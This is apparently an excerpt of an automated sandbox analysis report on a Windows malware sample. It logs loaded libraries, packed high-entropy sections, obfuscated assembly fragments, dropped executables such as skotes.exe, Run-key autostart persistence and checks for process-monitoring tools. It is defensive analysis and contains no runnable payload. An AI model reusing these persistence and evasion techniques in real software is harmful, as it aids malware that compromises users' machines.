Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 3069952 > 1048576
Source: file.exe Static PE information: Raw size of dolctmic is bigger than: 0x100000 < 0x2c1c00
Source: Binary string: my_library.pdbU source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: my_library.pdb source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 910S1Q63XQ87I6P4.exe, 00000002.00000003.1898160326.0000000005380000.00000004.00001000.00020000.00000000.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Unpacked PE file: 2.2.910S1Q63XQ87I6P4.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W;smhgitdo:EW;ntzismqa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Unpacked PE file: 3.2.SP29EZJLUAF4OXVNPKLP.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 7.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 8.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Unpacked PE file: 11.2.c077ee22d1.exe.e90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Unpacked PE file: 12.2.3e1d30d118.exe.e40000.0.unpack :EW;.rsrc:W;.idata :W;dolctmic:EW;nozaowtq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dolctmic:EW;nozaowtq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Unpacked PE file: 31.2.c077ee22d1.exe.e90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rcutauay:EW;rnjpicgc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Unpacked PE file: 33.2.J3F2AVPL447NSFJEKUT1.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hbhuwskf:EW;ihphxsar:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: num.exe.8.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: 3e1d30d118.exe.8.dr Static PE information: real checksum: 0x2f80d8 should be: 0x2f2f19
Source: random[1].exe.8.dr Static PE information: real checksum: 0x2f80d8 should be: 0x2f2f19
Source: c077ee22d1.exe.8.dr Static PE information: real checksum: 0x21a765 should be: 0x2127d2
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: real checksum: 0x1d5faa should be: 0x1cbfe7
Source: random[1].exe0.8.dr Static PE information: real checksum: 0x21a765 should be: 0x2127d2
Source: file.exe Static PE information: real checksum: 0x2f80d8 should be: 0x2f2f19
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: real checksum: 0x2abc36 should be: 0x2b231c
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: real checksum: 0x1d5faa should be: 0x1cbfe7
Source: skotes.exe.3.dr Static PE information: real checksum: 0x1d5faa should be: 0x1cbfe7
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: real checksum: 0x2abc36 should be: 0x2b231c
Source: num[1].exe.8.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: dolctmic
Source: file.exe Static PE information: section name: nozaowtq
Source: file.exe Static PE information: section name: .taggant
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name:
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name: .idata
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name: smhgitdo
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name: ntzismqa
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name: .taggant
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name:
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: .idata
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name:
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: hbhuwskf
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: ihphxsar
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.3.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name: .idata
Source: skotes.exe.3.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name: hbhuwskf
Source: skotes.exe.3.dr Static PE information: section name: ihphxsar
Source: skotes.exe.3.dr Static PE information: section name: .taggant
Source: random[1].exe.8.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name: .idata
Source: random[1].exe.8.dr Static PE information: section name: dolctmic
Source: random[1].exe.8.dr Static PE information: section name: nozaowtq
Source: random[1].exe.8.dr Static PE information: section name: .taggant
Source: 3e1d30d118.exe.8.dr Static PE information: section name:
Source: 3e1d30d118.exe.8.dr Static PE information: section name: .idata
Source: 3e1d30d118.exe.8.dr Static PE information: section name: dolctmic
Source: 3e1d30d118.exe.8.dr Static PE information: section name: nozaowtq
Source: 3e1d30d118.exe.8.dr Static PE information: section name: .taggant
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: rcutauay
Source: random[1].exe0.8.dr Static PE information: section name: rnjpicgc
Source: random[1].exe0.8.dr Static PE information: section name: .taggant
Source: c077ee22d1.exe.8.dr Static PE information: section name:
Source: c077ee22d1.exe.8.dr Static PE information: section name: .rsrc
Source: c077ee22d1.exe.8.dr Static PE information: section name: .idata
Source: c077ee22d1.exe.8.dr Static PE information: section name:
Source: c077ee22d1.exe.8.dr Static PE information: section name: rcutauay
Source: c077ee22d1.exe.8.dr Static PE information: section name: rnjpicgc
Source: c077ee22d1.exe.8.dr Static PE information: section name: .taggant
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name:
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name: .idata
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name: smhgitdo
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name: ntzismqa
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name: .taggant
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name:
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: .idata
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name:
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: hbhuwskf
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: ihphxsar
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05DB38BD push edi; retf 0_3_05DB38C0
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010078C5 push ecx; mov dword ptr [esp], 6DF56921h 2_2_010078EF
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010078C5 push edi; mov dword ptr [esp], 4CBF5062h 2_2_01007935
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010078C5 push ecx; mov dword ptr [esp], 68A88FF4h 2_2_010079DC
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010078C5 push 06D0CF6Dh; mov dword ptr [esp], edx 2_2_01007A06
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_01007A26 push edi; mov dword ptr [esp], eax 2_2_01007A74
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_01007A26 push edi; mov dword ptr [esp], 552E85D1h 2_2_01007A8E
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E91DE8 push 407562C7h; mov dword ptr [esp], ebp 2_2_00E95A51
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E91DE8 push 7FC45CDAh; mov dword ptr [esp], edx 2_2_00E95A87
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E908EF push ecx; mov dword ptr [esp], edx 2_2_00E925D8
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E908EF push ecx; mov dword ptr [esp], esi 2_2_00E94E0A
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0100B924 push ecx; mov dword ptr [esp], edi 2_2_0100B932
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_01011128 push 15A74633h; mov dword ptr [esp], ebx 2_2_010112A1
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E910AC push 50B02DA7h; mov dword ptr [esp], edi 2_2_00E944DA
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E910AC push 1157C7A0h; mov dword ptr [esp], esi 2_2_00E94D15
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0101E95D push 3A6B8CBEh; mov dword ptr [esp], eax 2_2_0101EAB8
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E91088 push 01E55521h; mov dword ptr [esp], esi 2_2_00E9109E
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9088E push edx; mov dword ptr [esp], 5E741F27h 2_2_00E9351C
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9088E push ecx; mov dword ptr [esp], esi 2_2_00E9352E
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9088E push ebp; mov dword ptr [esp], 4EB9C8DAh 2_2_00E93532
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9088E push ebx; mov dword ptr [esp], esi 2_2_00E9353D
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9089A push 747B0685h; mov dword ptr [esp], esp 2_2_00E91AC7
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0101C185 push eax; ret 2_2_0101C194
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_01013997 push 49ACD9F2h; mov dword ptr [esp], esi 2_2_010139A0
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9184E push ecx; mov dword ptr [esp], 7E6F27C7h 2_2_00E92331
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_00E9184E push ebp; mov dword ptr [esp], 016B3E53h 2_2_00E9441F
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010139A8 push 7785BD50h; mov dword ptr [esp], ebx 2_2_010139B9
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010091B8 push ebp; mov dword ptr [esp], edi 2_2_010091B9
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010091B8 push ebx; mov dword ptr [esp], 7EFE7CABh 2_2_010091BD
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010041BB push 1D162CD6h; mov dword ptr [esp], edi 2_2_01004956
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_010041BB push 399430C8h; mov dword ptr [esp], esp 2_2_01004963
Source: file.exe Static PE information: section name: entropy: 7.970591294370176
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name: entropy: 7.759797700172106
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: entropy: 7.988207339350633
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: hbhuwskf entropy: 7.95337986085447
Source: skotes.exe.3.dr Static PE information: section name: entropy: 7.988207339350633
Source: skotes.exe.3.dr Static PE information: section name: hbhuwskf entropy: 7.95337986085447
Source: random[1].exe.8.dr Static PE information: section name: entropy: 7.970591294370176
Source: 3e1d30d118.exe.8.dr Static PE information: section name: entropy: 7.970591294370176
Source: random[1].exe0.8.dr Static PE information: section name: rcutauay entropy: 7.954004161213286
Source: c077ee22d1.exe.8.dr Static PE information: section name: rcutauay entropy: 7.954004161213286
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name: entropy: 7.759797700172106
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: entropy: 7.988207339350633
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: hbhuwskf entropy: 7.95337986085447
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File created: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File created: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
